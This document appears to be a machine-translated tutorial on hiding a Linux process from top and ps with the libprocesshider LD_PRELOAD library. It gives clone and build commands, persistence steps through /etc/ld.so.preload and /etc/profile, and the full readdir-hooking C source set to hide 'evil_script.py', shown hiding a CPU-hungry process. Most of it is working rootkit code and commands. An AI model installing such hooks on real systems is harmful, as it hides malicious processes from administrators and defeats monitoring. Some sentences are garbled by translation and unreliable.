Objective
- The tools used in this article can be downloaded in Github.com/gianlucaborello/libprocesshider
-
The idea is to use ld_preload to implement system function hijacking
What is ld_preload:
Ld_preload is an environment variable for a Linux system that can affect the program's Runtime link (runtime Linker), which allows you to define a dynamic-link library that is loaded first before the program runs. This function is mainly used to selectively load the same functions in different dynamic link libraries. Through this environment variable, we can load other dynamic link libraries in the middle of the main program and its dynamic link library, even the normal function library. On the one hand, we can use this function for our own or better functions (no other people's source code), but on the other hand, we can also inject programs into other people's programs, so as to achieve a specific purpose.
Realize
1. Download the program compilation
bmfxgkpt-yhd:~# git clone github.com/gianlucaborello/libprocesshider.git
Cloning into 'libprocesshider'...
remote: Counting objects: 26, done.
remote: Total 26 (delta 0), reused 0 (delta 0), pack-reused 26
Unpacking objects: 100% (26/26), done.
bmfxgkpt-yhd:~# cd libprocesshider/
bmfxgkpt-yhd:~/libprocesshider# make
gcc -Wall -fPIC -shared -o libprocesshider.so processhider.c -ldl
bmfxgkpt-yhd:~/libprocesshider#
2. Move the file to the/usr/local/lib/directory
mv libprocesshider.so /usr/local/lib/
3. Load it into the global dynamic Connection board
echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload
Test
- We run evil_script.py
- Find evil_script.py in top and PS at this point
At this point we found CPU 100%, but could not find any high CPU-intensive programs
Analysis
#define _GNU_SOURCE
#include <stdio.h>
#include <dlfcn.h>
#include <dirent.h>
#include <string.h>
#include <unistd.h>
/*
* Every process with this name will be excluded
*/
static const char* process_to_filter = "evil_script.py";
/*
* Get a directory name given a DIR* handle
*/
static int get_dir_name(DIR* dirp, char* buf, size_t size)
{
int fd = dirfd(dirp);
if(fd == -1) {
return 0;
}
char tmp[64];
snprintf(tmp, sizeof(tmp), "/proc/self/fd/%d", fd);
ssize_t ret = readlink(tmp, buf, size);
if(ret == -1) {
return 0;
}
buf[ret] = 0;
return 1;
}
/*
* Get a process name given its pid
*/
static int get_process_name(char* pid, char* buf)
{
if(strspn(pid, "0123456789") != strlen(pid)) {
return 0;
}
char tmp[256];
snprintf(tmp, sizeof(tmp), "/proc/%s/stat", pid);
FILE* f = fopen(tmp, "r");
if(f == NULL) {
return 0;
}
if(fgets(tmp, sizeof(tmp), f) == NULL) {
fclose(f);
return 0;
}
fclose(f);
int unused;
sscanf(tmp, "%d (%[^)]s", &unused, buf);
return 1;
}
#define DECLARE_READDIR(dirent, readdir) \
static struct dirent* (*original_##readdir)(DIR*) = NULL; \
\
struct dirent* readdir(DIR *dirp) \
{ \
if(original_##readdir == NULL) { \
original_##readdir = dlsym(RTLD_NEXT, "readdir"); \
if(original_##readdir == NULL) \
{ \
fprintf(stderr, "Error in dlsym: %s\n", dlerror()); \
} \
} \
\
struct dirent* dir; \
\
while(1) \
{ \
dir = original_##readdir(dirp); \
if(dir) { \
char dir_name[256]; \
char process_name[256]; \
if(get_dir_name(dirp, dir_name, sizeof(dir_name)) && \
strcmp(dir_name, "/proc") == 0 && \
get_process_name(dir->d_name, process_name) && \
strcmp(process_name, process_to_filter) == 0) { \
continue; \
} \
} \
break; \
} \
return dir; \
}
DECLARE_READDIR(dirent64, readdir64);
DECLARE_READDIR(dirent, readdir);
- The program defines a variable process_to_filter to control which process name is not displayed
- Rewrite Readdir,
strcmp(process_name, process_to_filter) == 0)
When the current process name is found to be the same as Process_to_filter, the loop continues.
Encounter the Pit
-
In some Linux, this program compiles
Workaround
Delete a row in the last two rows
Declare_readdir (Dirent64, readdir64);
Declare_readdir (Dirent, READDIR);
-
Used in some Linux
echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload
does not take effect
At this point we need to configure environment variables
bmfxgkpt-yhd:~# vi /etc/profile
Add a row
export LD_PRELOAD=/usr/local/lib/libprocesshider.so